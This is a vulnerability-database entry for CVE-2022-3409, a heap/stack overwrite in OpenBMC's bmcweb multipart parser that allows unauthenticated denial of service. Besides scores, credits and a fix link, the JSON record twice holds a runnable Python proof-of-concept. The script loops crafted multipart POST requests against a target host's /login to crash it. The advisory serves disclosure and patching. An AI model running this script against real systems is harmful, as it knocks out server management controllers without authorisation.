CVE-2022-3409 (GCVE-0-2022-3409)

Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 17:52
VLAI?
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Severity ?
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
CWE
  • CWE-121 - Stack-based Buffer Overflow
  • CWE-229 - Improper Handling of Values
Assigner
References
Impacted products
Vendor Product Version
OpenBMC Project OpenBMC Affected: 2.10 , < Release* (custom)
Create a notification for this product.
Credits
Finder: Jakub Rozanski, Intel Corporation Remediation: Krzysztof Grobelny, Intel Corporation
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T01:07:06.708Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/openbmc/bmcweb"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-3409",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-05T17:50:45.381401Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-05T17:52:19.453Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OpenBMC",
          "vendor": "OpenBMC Project",
          "versions": [
            {
              "changes": [
                {
                  "at": "2.13",
                  "status": "unaffected"
                }
              ],
              "lessThan": "Release*",
              "status": "affected",
              "version": "2.10",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Finder: Jakub Rozanski, Intel Corporation"
        },
        {
          "lang": "en",
          "value": "Remediation: Krzysztof Grobelny, Intel Corporation"
        }
      ],
      "datePublic": "2022-10-07T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n    while(True):\n        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n        client.connect((HOST, PORT))\n        toSend = payload % (str(length), additional)\n        print(toSend)\n        client.send(toSend.encode(\u0027utf-8\u0027))\n        print(client.recv(4096))\n        client.close()\n        time.sleep(0.01)\n        length += 1\n        additional += \"a\""
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-121",
              "description": "CWE-121: Stack-based Buffer Overflow",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-229",
              "description": "CWE-229: Improper Handling of Values",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-10-27T00:00:00.000Z",
        "orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
        "shortName": "OpenBMC"
      },
      "references": [
        {
          "url": "https://github.com/openbmc/bmcweb"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868"
        }
      ],
      "source": {
        "discovery": "INTERNAL"
      },
      "title": "Unauthenticated out of bounds stack write in bmcweb",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
    "assignerShortName": "OpenBMC",
    "cveId": "CVE-2022-3409",
    "datePublished": "2022-10-27T13:09:19.716Z",
    "dateReserved": "2022-10-06T00:00:00.000Z",
    "dateUpdated": "2025-05-05T17:52:19.453Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "fkie_nvd": {
      "configurations": "[{\"nodes\": [{\"operator\": \"OR\", \"negate\": false, \"cpeMatch\": [{\"vulnerable\": true, \"criteria\": \"cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*\", \"versionStartIncluding\": \"2.10.0\", \"versionEndIncluding\": \"2.13.0\", \"matchCriteriaId\": \"A97D389D-CCB5-42DF-BB5F-BD62F4DF4A11\"}]}]}]",
      "descriptions": "[{\"lang\": \"en\", \"value\": \"A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.\"}, {\"lang\": \"es\", \"value\": \"Una vulnerabilidad en bmcweb del OpenBMC Project permite al usuario provocar una denegaci\\u00f3n de servicio. Esta vulnerabilidad se identific\\u00f3 durante la mitigaci\\u00f3n de CVE-2022-2809. Al difuminar el c\\u00f3digo multipart_parser usando AFL++ con el sanitizador de direcciones habilitado para encontrar las corrupciones de memoria m\\u00e1s peque\\u00f1as posibles. Detect\\u00f3 un problema en c\\u00f3mo multipart_parser maneja los encabezados http no cerrados. Si se pasa un encabezado http lo suficientemente largo en formato de varias partes sin dos puntos, se sobrescribe un byte en la memoria. Se puede realizar varias veces en un bucle para provocar DoS.\"}]",
      "id": "CVE-2022-3409",
      "lastModified": "2024-11-21T07:19:27.627",
      "metrics": "{\"cvssMetricV31\": [{\"source\": \"openbmc-security@lists.ozlabs.org\", \"type\": \"Secondary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\", \"baseScore\": 8.2, \"baseSeverity\": \"HIGH\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"NONE\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"NONE\", \"integrityImpact\": \"LOW\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 3.9, \"impactScore\": 4.2}, {\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"baseScore\": 7.5, \"baseSeverity\": \"HIGH\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"NONE\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"NONE\", \"integrityImpact\": \"NONE\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 3.9, \"impactScore\": 3.6}]}",
      "published": "2022-10-27T13:15:11.047",
      "references": "[{\"url\": \"https://github.com/openbmc/bmcweb\", \"source\": \"openbmc-security@lists.ozlabs.org\", \"tags\": [\"Product\", \"Third Party Advisory\"]}, {\"url\": \"https://github.com/openbmc/bmcweb\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Product\", \"Third Party Advisory\"]}]",
      "sourceIdentifier": "openbmc-security@lists.ozlabs.org",
      "vulnStatus": "Modified",
      "weaknesses": "[{\"source\": \"openbmc-security@lists.ozlabs.org\", \"type\": \"Secondary\", \"description\": [{\"lang\": \"en\", \"value\": \"CWE-121\"}, {\"lang\": \"en\", \"value\": \"CWE-229\"}]}, {\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"description\": [{\"lang\": \"en\", \"value\": \"CWE-787\"}]}]"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2022-3409\",\"sourceIdentifier\":\"openbmc-security@lists.ozlabs.org\",\"published\":\"2022-10-27T13:15:11.047\",\"lastModified\":\"2024-11-21T07:19:27.627\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.\"},{\"lang\":\"es\",\"value\":\"Una vulnerabilidad en bmcweb del OpenBMC Project permite al usuario provocar una denegaci\u00f3n de servicio. Esta vulnerabilidad se identific\u00f3 durante la mitigaci\u00f3n de CVE-2022-2809. Al difuminar el c\u00f3digo multipart_parser usando AFL++ con el sanitizador de direcciones habilitado para encontrar las corrupciones de memoria m\u00e1s peque\u00f1as posibles. Detect\u00f3 un problema en c\u00f3mo multipart_parser maneja los encabezados http no cerrados. Si se pasa un encabezado http lo suficientemente largo en formato de varias partes sin dos puntos, se sobrescribe un byte en la memoria. Se puede realizar varias veces en un bucle para provocar DoS.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"openbmc-security@lists.ozlabs.org\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":4.2},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"openbmc-security@lists.ozlabs.org\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-121\"},{\"lang\":\"en\",\"value\":\"CWE-229\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-787\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"2.10.0\",\"versionEndIncluding\":\"2.13.0\",\"matchCriteriaId\":\"A97D389D-CCB5-42DF-BB5F-BD62F4DF4A11\"}]}]}],\"references\":[{\"url\":\"https://github.com/openbmc/bmcweb\",\"source\":\"openbmc-security@lists.ozlabs.org\",\"tags\":[\"Product\",\"Third Party Advisory\"]},{\"url\":\"https://github.com/openbmc/bmcweb\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Product\",\"Third Party Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://github.com/openbmc/bmcweb\", \"tags\": [\"x_transferred\"]}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2024-08-03T01:07:06.708Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2022-3409\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-05-05T17:50:45.381401Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-05-05T17:52:06.255Z\"}}], \"cna\": {\"title\": \"Unauthenticated out of bounds stack write in bmcweb\", \"source\": {\"discovery\": \"INTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"value\": \"Finder: Jakub Rozanski, Intel Corporation\"}, {\"lang\": \"en\", \"value\": \"Remediation: Krzysztof Grobelny, Intel Corporation\"}], \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"OpenBMC Project\", \"product\": \"OpenBMC\", \"versions\": [{\"status\": \"affected\", \"changes\": [{\"at\": \"2.13\", \"status\": \"unaffected\"}], \"version\": \"2.10\", \"lessThan\": \"Release*\", \"versionType\": \"custom\"}]}], \"exploits\": [{\"lang\": \"en\", \"value\": \"import socket\\nimport ssl\\nimport time\\n\\nHOST = \\\"\\\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\\nPORT = 443\\n\\nlength = 322\\nadditional = \\\"\\\"\\n\\npayload = \\\"\\\"\\\"POST /login HTTP/1.1\\\\r\\\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\\\r\\\\nUser-Agent: curl/7.58.0\\\\r\\\\nAccept: */*\\\\r\\\\nContent-Length: %s\\\\r\\\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\\\r\\\\n\\\\r\\\\n-----------------------------d74496d66958873e\\\\r\\\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\\\r\\\\n\\\\r\\\\n\\\"\\\"\\\"\\n\\nif __name__ == \\\"__main__\\\":\\n\\n    while(True):\\n        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n        client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n        client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\\n\\n        client.connect((HOST, PORT))\\n        toSend = payload % (str(length), additional)\\n        print(toSend)\\n        client.send(toSend.encode(\u0027utf-8\u0027))\\n        print(client.recv(4096))\\n        client.close()\\n        time.sleep(0.01)\\n        length += 1\\n        additional += \\\"a\\\"\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868\"}], \"datePublic\": \"2022-10-07T00:00:00.000Z\", \"references\": [{\"url\": \"https://github.com/openbmc/bmcweb\"}], \"x_generator\": {\"engine\": \"Vulnogram 0.0.9\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-121\", \"description\": \"CWE-121: Stack-based Buffer Overflow\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-229\", \"description\": \"CWE-229: Improper Handling of Values\"}]}], \"providerMetadata\": {\"orgId\": \"7eaec9cd-e18a-43f9-bb90-5f82d308c514\", \"shortName\": \"OpenBMC\", \"dateUpdated\": \"2022-10-27T00:00:00.000Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2022-3409\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-05-05T17:52:19.453Z\", \"dateReserved\": \"2022-10-06T00:00:00.000Z\", \"assignerOrgId\": \"7eaec9cd-e18a-43f9-bb90-5f82d308c514\", \"datePublished\": \"2022-10-27T13:09:19.716Z\", \"assignerShortName\": \"OpenBMC\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.